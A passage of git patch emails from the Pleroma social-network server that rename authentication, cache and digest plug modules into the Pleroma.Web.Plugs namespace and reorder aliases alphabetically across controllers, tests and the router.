a/lib/pleroma/web/plugs/ensure_authenticated_plug.ex +++ b/lib/pleroma/web/plugs/ensure_authenticated_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.EnsureAuthenticatedPlug do +defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlug do import Plug.Conn import Pleroma.Web.TranslationHelpers diff --git a/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex b/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex index 1fa742717..0925ded4d 100644 --- a/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex +++ b/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex @@ -4,7 +4,7 @@ defmodule Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug do @moduledoc """ - Marks `Pleroma.Plugs.EnsureAuthenticatedPlug` as expected to be executed later in plug chain. + Marks `Pleroma.Web.Plugs.EnsureAuthenticatedPlug` as expected to be executed later in plug chain. No-op plug which affects `Pleroma.Web` operation (is checked with `PlugHelper.plug_called?/2`). """ diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 6dc7a777b..524674e1a 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -57,7 +57,7 @@ defmodule Pleroma.Web.Router do plug(:expect_authentication) plug(:base_api) plug(:after_auth) - plug(Pleroma.Plugs.EnsureAuthenticatedPlug) + plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug) plug(Pleroma.Web.Plugs.IdempotencyPlug) end @@ -66,7 +66,7 @@ defmodule Pleroma.Web.Router do plug(:base_api) plug(Pleroma.Plugs.AdminSecretAuthenticationPlug) plug(:after_auth) - plug(Pleroma.Plugs.EnsureAuthenticatedPlug) + plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug) plug(Pleroma.Web.Plugs.UserIsAdminPlug) plug(Pleroma.Web.Plugs.IdempotencyPlug) end diff --git a/lib/pleroma/web/static_fe/static_fe_controller.ex b/lib/pleroma/web/static_fe/static_fe_controller.ex index cc408ab5c..687b17df6 100644 --- a/lib/pleroma/web/static_fe/static_fe_controller.ex +++ b/lib/pleroma/web/static_fe/static_fe_controller.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.StaticFE.StaticFEController do plug(:put_view, Pleroma.Web.StaticFE.StaticFEView) plug(:assign_id) - plug(Pleroma.Plugs.EnsureAuthenticatedPlug, + plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug, unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 ) diff --git a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs index b87f4e103..35095e018 100644 --- a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.User describe "without :if_func / :unless_func options" do -- cgit v1.2.3 From 66e0b0065b2fd115b1239edfab70eef54c34af2d Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:08:43 +0300 Subject: Cache plug module name --- lib/pleroma/web/activity_pub/activity_pub_controller.ex | 2 +- lib/pleroma/web/plugs/cache.ex | 6 +++--- test/pleroma/web/plugs/cache_test.exs | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 4bdb2e38b..37e076f1b 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -46,7 +46,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do ) plug( - Pleroma.Plugs.Cache, + Pleroma.Web.Plugs.Cache, [query_params: false, tracking_fun: &__MODULE__.track_object_fetch/2] when action in [:activity, :object] ) diff --git a/lib/pleroma/web/plugs/cache.ex b/lib/pleroma/web/plugs/cache.ex index f65c2a189..6de01804a 100644 --- a/lib/pleroma/web/plugs/cache.ex +++ b/lib/pleroma/web/plugs/cache.ex @@ -2,19 +2,19 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.Cache do +defmodule Pleroma.Web.Plugs.Cache do @moduledoc """ Caches successful GET responses. To enable the cache add the plug to a router pipeline or controller: - plug(Pleroma.Plugs.Cache) + plug(Pleroma.Web.Plugs.Cache) ## Configuration To configure the plug you need to pass settings as the second argument to the `plug/2` macro: - plug(Pleroma.Plugs.Cache, [ttl: nil, query_params: true]) + plug(Pleroma.Web.Plugs.Cache, [ttl: nil, query_params: true]) Available options: diff --git a/test/pleroma/web/plugs/cache_test.exs b/test/pleroma/web/plugs/cache_test.exs index 105b170f0..93a66f5d3 100644 --- a/test/pleroma/web/plugs/cache_test.exs +++ b/test/pleroma/web/plugs/cache_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.CacheTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.Cache + alias Pleroma.Web.Plugs.Cache @miss_resp {200, [ -- cgit v1.2.3 From 970932689f0bf1772da4f81d4f092060fd251a58 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:09:13 +0300 Subject: DigestPlug rename --- lib/pleroma/web/plugs/digest.ex | 14 -------------- lib/pleroma/web/plugs/digest_plug.ex | 14 ++++++++++++++ 2 files changed, 14 insertions(+), 14 deletions(-) delete mode 100644 lib/pleroma/web/plugs/digest.ex create mode 100644 lib/pleroma/web/plugs/digest_plug.ex diff --git a/lib/pleroma/web/plugs/digest.ex b/lib/pleroma/web/plugs/digest.ex deleted file mode 100644 index b521b3073..000000000 --- a/lib/pleroma/web/plugs/digest.ex +++ /dev/null @@ -1,14 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.DigestPlug do - alias Plug.Conn - require Logger - - def read_body(conn, opts) do - {:ok, body, conn} = Conn.read_body(conn, opts) - digest = "SHA-256=" <> (:crypto.hash(:sha256, body) |> Base.encode64()) - {:ok, body, Conn.assign(conn, :digest, digest)} - end -end diff --git a/lib/pleroma/web/plugs/digest_plug.ex b/lib/pleroma/web/plugs/digest_plug.ex new file mode 100644 index 000000000..b521b3073 --- /dev/null +++ b/lib/pleroma/web/plugs/digest_plug.ex @@ -0,0 +1,14 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.DigestPlug do + alias Plug.Conn + require Logger + + def read_body(conn, opts) do + {:ok, body, conn} = Conn.read_body(conn, opts) + digest = "SHA-256=" <> (:crypto.hash(:sha256, body) |> Base.encode64()) + {:ok, body, Conn.assign(conn, :digest, digest)} + end +end -- cgit v1.2.3 From c1777e74796d3be4757826ddb3395fc0c13495ff Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:13:19 +0300 Subject: BasicAuthDecoderPlug module name --- lib/pleroma/web/plugs/basic_auth_decoder_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex b/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex index af7ecb0d8..4dadfb000 100644 --- a/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex +++ b/lib/pleroma/web/plugs/basic_auth_decoder_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.BasicAuthDecoderPlug do +defmodule Pleroma.Web.Plugs.BasicAuthDecoderPlug do import Plug.Conn def init(options) do diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 524674e1a..46f007d3d 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -26,7 +26,7 @@ defmodule Pleroma.Web.Router do pipeline :authenticate do plug(Pleroma.Web.Plugs.OAuthPlug) - plug(Pleroma.Plugs.BasicAuthDecoderPlug) + plug(Pleroma.Web.Plugs.BasicAuthDecoderPlug) plug(Pleroma.Web.Plugs.UserFetcherPlug) plug(Pleroma.Web.Plugs.SessionAuthenticationPlug) plug(Pleroma.Web.Plugs.LegacyAuthenticationPlug) diff --git a/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs index 49f5ea238..2d6af228c 100644 --- a/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs +++ b/test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.BasicAuthDecoderPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.BasicAuthDecoderPlug + alias Pleroma.Web.Plugs.BasicAuthDecoderPlug defp basic_auth_enc(username, password) do "Basic " <> Base.encode64("#{username}:#{password}") -- cgit v1.2.3 From c497558d433216c12a3335d138716a10d464a922 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:16:09 +0300 Subject: AuthenticationPlug module name --- docs/dev.md | 2 +- lib/pleroma/bbs/authenticator.ex | 2 +- lib/pleroma/web/auth/pleroma_authenticator.ex | 2 +- lib/pleroma/web/auth/totp_authenticator.ex | 2 +- lib/pleroma/web/common_api/utils.ex | 2 +- lib/pleroma/web/mongoose_im/mongoose_im_controller.ex | 2 +- lib/pleroma/web/plugs/authentication_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/authentication_plug_test.exs | 2 +- 9 files changed, 9 insertions(+), 9 deletions(-) diff --git a/docs/dev.md b/docs/dev.md index e3e04c8eb..22e0691f1 100644 --- a/docs/dev.md +++ b/docs/dev.md @@ -16,7 +16,7 @@ This document contains notes and guidelines for Pleroma developers. ## [HTTP Basic Authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) -* With HTTP Basic Auth, OAuth scopes check is _not_ performed for any action (since password is provided during the auth, requester is able to obtain a token with full permissions anyways). `Pleroma.Plugs.AuthenticationPlug` and `Pleroma.Web.Plugs.LegacyAuthenticationPlug` both call `Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug(conn)` when password is provided. +* With HTTP Basic Auth, OAuth scopes check is _not_ performed for any action (since password is provided during the auth, requester is able to obtain a token with full permissions anyways). `Pleroma.Web.Plugs.AuthenticationPlug` and `Pleroma.Web.Plugs.LegacyAuthenticationPlug` both call `Pleroma.Web.Plugs.OAuthScopesPlug.skip_plug(conn)` when password is provided. ## Auth-related configuration, OAuth consumer mode etc. diff --git a/lib/pleroma/bbs/authenticator.ex b/lib/pleroma/bbs/authenticator.ex index 815de7002..f837a103a 100644 --- a/lib/pleroma/bbs/authenticator.ex +++ b/lib/pleroma/bbs/authenticator.ex @@ -4,7 +4,7 @@ defmodule Pleroma.BBS.Authenticator do use Sshd.PasswordAuthenticator - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.User def authenticate(username, password) do diff --git a/lib/pleroma/web/auth/pleroma_authenticator.ex b/lib/pleroma/web/auth/pleroma_authenticator.ex index c611b3e09..36e7ff0fa 100644 --- a/lib/pleroma/web/auth/pleroma_authenticator.ex +++ b/lib/pleroma/web/auth/pleroma_authenticator.ex @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Auth.PleromaAuthenticator do - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Registration alias Pleroma.Repo alias Pleroma.User diff --git a/lib/pleroma/web/auth/totp_authenticator.ex b/lib/pleroma/web/auth/totp_authenticator.ex index 1794e407c..b4df422fe 100644 --- a/lib/pleroma/web/auth/totp_authenticator.ex +++ b/lib/pleroma/web/auth/totp_authenticator.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Auth.TOTPAuthenticator do alias Pleroma.MFA alias Pleroma.MFA.TOTP - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.User @doc "Verify code or check backup code." diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 9d7b24eb2..10093a806 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do alias Pleroma.Conversation.Participation alias Pleroma.Formatter alias Pleroma.Object - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.ActivityPub.Utils diff --git a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex index 42cf5a85f..ba8eb56fa 100644 --- a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex +++ b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MongooseIM.MongooseIMController do use Pleroma.Web, :controller - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.User diff --git a/lib/pleroma/web/plugs/authentication_plug.ex b/lib/pleroma/web/plugs/authentication_plug.ex index a8a4a8380..e2a8b1b69 100644 --- a/lib/pleroma/web/plugs/authentication_plug.ex +++ b/lib/pleroma/web/plugs/authentication_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.AuthenticationPlug do +defmodule Pleroma.Web.Plugs.AuthenticationPlug do alias Pleroma.User import Plug.Conn diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 46f007d3d..855e69077 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -30,7 +30,7 @@ defmodule Pleroma.Web.Router do plug(Pleroma.Web.Plugs.UserFetcherPlug) plug(Pleroma.Web.Plugs.SessionAuthenticationPlug) plug(Pleroma.Web.Plugs.LegacyAuthenticationPlug) - plug(Pleroma.Plugs.AuthenticationPlug) + plug(Pleroma.Web.Plugs.AuthenticationPlug) end pipeline :after_auth do diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 5b6186e4e..2167f2457 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper alias Pleroma.User -- cgit v1.2.3 From 3ef4e9d17008a220f02531f70aad9568b995e396 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 11:18:42 +0300 Subject: AdminSecretAuthenticationPlug module name --- lib/pleroma/web/plugs/admin_secret_authentication_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs | 8 ++++---- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex b/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex index 2e54df47a..9c7454443 100644 --- a/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex +++ b/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.AdminSecretAuthenticationPlug do +defmodule Pleroma.Web.Plugs.AdminSecretAuthenticationPlug do import Plug.Conn alias Pleroma.Plugs.OAuthScopesPlug diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 855e69077..d2d939989 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -64,7 +64,7 @@ defmodule Pleroma.Web.Router do pipeline :admin_api do plug(:expect_authentication) plug(:base_api) - plug(Pleroma.Plugs.AdminSecretAuthenticationPlug) + plug(Pleroma.Web.Plugs.AdminSecretAuthenticationPlug) plug(:after_auth) plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug) plug(Pleroma.Web.Plugs.UserIsAdminPlug) diff --git a/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs index 4d35dc99c..33394722a 100644 --- a/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs @@ -8,10 +8,10 @@ defmodule Pleroma.Web.Plugs.AdminSecretAuthenticationPlugTest do import Mock import Pleroma.Factory - alias Pleroma.Plugs.AdminSecretAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.AdminSecretAuthenticationPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.PlugHelper + alias Pleroma.Web.Plugs.RateLimiter test "does nothing if a user is assigned", %{conn: conn} do user = insert(:user) -- cgit v1.2.3 From 9f4fe5485b7132307c7eff0690c8443b4ad57405 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 13:07:47 +0300 Subject: alias alphabetically order --- lib/pleroma/bbs/authenticator.ex | 2 +- lib/pleroma/tests/auth_test_controller.ex | 2 +- lib/pleroma/web/activity_pub/activity_pub_controller.ex | 4 ++-- lib/pleroma/web/admin_api/controllers/admin_api_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/invite_controller.ex | 2 +- .../web/admin_api/controllers/media_proxy_cache_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/relay_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/report_controller.ex | 2 +- lib/pleroma/web/admin_api/controllers/status_controller.ex | 2 +- lib/pleroma/web/auth/pleroma_authenticator.ex | 2 +- lib/pleroma/web/auth/totp_authenticator.ex | 2 +- lib/pleroma/web/common_api/utils.ex | 2 +- lib/pleroma/web/feed/user_controller.ex | 2 +- lib/pleroma/web/masto_fe_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/account_controller.ex | 7 ++++--- lib/pleroma/web/mastodon_api/controllers/app_controller.ex | 4 ++-- .../web/mastodon_api/controllers/conversation_controller.ex | 2 +- .../web/mastodon_api/controllers/domain_block_controller.ex | 2 +- .../web/mastodon_api/controllers/follow_request_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/list_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/media_controller.ex | 2 +- .../web/mastodon_api/controllers/notification_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/poll_controller.ex | 2 +- .../web/mastodon_api/controllers/scheduled_activity_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/search_controller.ex | 4 ++-- lib/pleroma/web/mastodon_api/controllers/status_controller.ex | 4 ++-- lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex | 4 ++-- lib/pleroma/web/mongoose_im/mongoose_im_controller.ex | 4 ++-- lib/pleroma/web/o_auth/o_auth_controller.ex | 2 +- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/account_controller.ex | 6 +++--- lib/pleroma/web/pleroma_api/controllers/chat_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex | 2 +- .../web/pleroma_api/controllers/emoji_reaction_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex | 2 +- .../controllers/two_factor_authentication_controller.ex | 2 +- lib/pleroma/web/plugs/rate_limiter.ex | 2 +- lib/pleroma/web/twitter_api/controller.ex | 4 ++-- lib/pleroma/web/twitter_api/controllers/util_controller.ex | 2 +- test/pleroma/web/plugs/authentication_plug_test.exs | 4 ++-- test/pleroma/web/plugs/ensure_authenticated_plug_test.exs | 2 +- .../pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs | 2 +- test/pleroma/web/plugs/legacy_authentication_plug_test.exs | 2 +- test/pleroma/web/plugs/o_auth_scopes_plug_test.exs | 2 +- test/pleroma/web/plugs/set_user_session_id_plug_test.exs | 2 +- 47 files changed, 60 insertions(+), 59 deletions(-) diff --git a/lib/pleroma/bbs/authenticator.ex b/lib/pleroma/bbs/authenticator.ex index f837a103a..83ebb756d 100644 --- a/lib/pleroma/bbs/authenticator.ex +++ b/lib/pleroma/bbs/authenticator.ex @@ -4,8 +4,8 @@ defmodule Pleroma.BBS.Authenticator do use Sshd.PasswordAuthenticator - alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.User + alias Pleroma.Web.Plugs.AuthenticationPlug def authenticate(username, password) do username = to_string(username) diff --git a/lib/pleroma/tests/auth_test_controller.ex b/lib/pleroma/tests/auth_test_controller.ex index 320df7e5a..b30d83567 100644 --- a/lib/pleroma/tests/auth_test_controller.ex +++ b/lib/pleroma/tests/auth_test_controller.ex @@ -8,9 +8,9 @@ defmodule Pleroma.Tests.AuthTestController do use Pleroma.Web, :controller + alias Pleroma.User alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug - alias Pleroma.User # Serves only with proper OAuth token (:api and :authenticated_api) # Skipping EnsurePublicOrAuthenticatedPlug has no effect in this case diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 37e076f1b..6bf7421bb 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -9,7 +9,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do alias Pleroma.Delivery alias Pleroma.Object alias Pleroma.Object.Fetcher - alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Builder @@ -23,8 +22,9 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.ControllerHelper alias Pleroma.Web.Endpoint - alias Pleroma.Web.Plugs.FederatingPlug alias Pleroma.Web.Federator + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug + alias Pleroma.Web.Plugs.FederatingPlug require Logger diff --git a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex index ea4bc06f8..bdd3e195d 100644 --- a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex @@ -10,7 +10,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Config alias Pleroma.MFA alias Pleroma.ModerationLog - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Stats alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub @@ -21,6 +20,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Web.AdminAPI.ModerationLogView alias Pleroma.Web.AdminAPI.Search alias Pleroma.Web.Endpoint + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Router @users_page_size 50 diff --git a/lib/pleroma/web/admin_api/controllers/invite_controller.ex b/lib/pleroma/web/admin_api/controllers/invite_controller.ex index 47b7d9953..6a9b4038a 100644 --- a/lib/pleroma/web/admin_api/controllers/invite_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/invite_controller.ex @@ -8,8 +8,8 @@ defmodule Pleroma.Web.AdminAPI.InviteController do import Pleroma.Web.ControllerHelper, only: [json_response: 3] alias Pleroma.Config - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.UserInviteToken + alias Pleroma.Web.Plugs.OAuthScopesPlug require Logger diff --git a/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex b/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex index 3aa110b8b..6d92e9f7f 100644 --- a/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.AdminAPI.MediaProxyCacheController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ApiSpec.Admin, as: Spec alias Pleroma.Web.MediaProxy + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex b/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex index eb86ed17c..116a05a4d 100644 --- a/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/o_auth_app_controller.ex @@ -7,8 +7,8 @@ defmodule Pleroma.Web.AdminAPI.OAuthAppController do import Pleroma.Web.ControllerHelper, only: [json_response: 3] - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.OAuth.App + alias Pleroma.Web.Plugs.OAuthScopesPlug require Logger diff --git a/lib/pleroma/web/admin_api/controllers/relay_controller.ex b/lib/pleroma/web/admin_api/controllers/relay_controller.ex index 8a4cafde3..611388447 100644 --- a/lib/pleroma/web/admin_api/controllers/relay_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/relay_controller.ex @@ -6,8 +6,8 @@ defmodule Pleroma.Web.AdminAPI.RelayController do use Pleroma.Web, :controller alias Pleroma.ModerationLog - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.Plugs.OAuthScopesPlug require Logger diff --git a/lib/pleroma/web/admin_api/controllers/report_controller.ex b/lib/pleroma/web/admin_api/controllers/report_controller.ex index 6e8c31645..86da93893 100644 --- a/lib/pleroma/web/admin_api/controllers/report_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/report_controller.ex @@ -9,12 +9,12 @@ defmodule Pleroma.Web.AdminAPI.ReportController do alias Pleroma.Activity alias Pleroma.ModerationLog - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.ReportNote alias Pleroma.Web.ActivityPub.Utils alias Pleroma.Web.AdminAPI alias Pleroma.Web.AdminAPI.Report alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug require Logger diff --git a/lib/pleroma/web/admin_api/controllers/status_controller.ex b/lib/pleroma/web/admin_api/controllers/status_controller.ex index cefdf5d40..2bb437cfe 100644 --- a/lib/pleroma/web/admin_api/controllers/status_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/status_controller.ex @@ -7,10 +7,10 @@ defmodule Pleroma.Web.AdminAPI.StatusController do alias Pleroma.Activity alias Pleroma.ModerationLog - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug require Logger diff --git a/lib/pleroma/web/auth/pleroma_authenticator.ex b/lib/pleroma/web/auth/pleroma_authenticator.ex index 36e7ff0fa..d6d2a8d06 100644 --- a/lib/pleroma/web/auth/pleroma_authenticator.ex +++ b/lib/pleroma/web/auth/pleroma_authenticator.ex @@ -3,10 +3,10 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Auth.PleromaAuthenticator do - alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Registration alias Pleroma.Repo alias Pleroma.User + alias Pleroma.Web.Plugs.AuthenticationPlug import Pleroma.Web.Auth.Authenticator, only: [fetch_credentials: 1, fetch_user: 1] diff --git a/lib/pleroma/web/auth/totp_authenticator.ex b/lib/pleroma/web/auth/totp_authenticator.ex index b4df422fe..edc9871ea 100644 --- a/lib/pleroma/web/auth/totp_authenticator.ex +++ b/lib/pleroma/web/auth/totp_authenticator.ex @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Auth.TOTPAuthenticator do alias Pleroma.MFA alias Pleroma.MFA.TOTP - alias 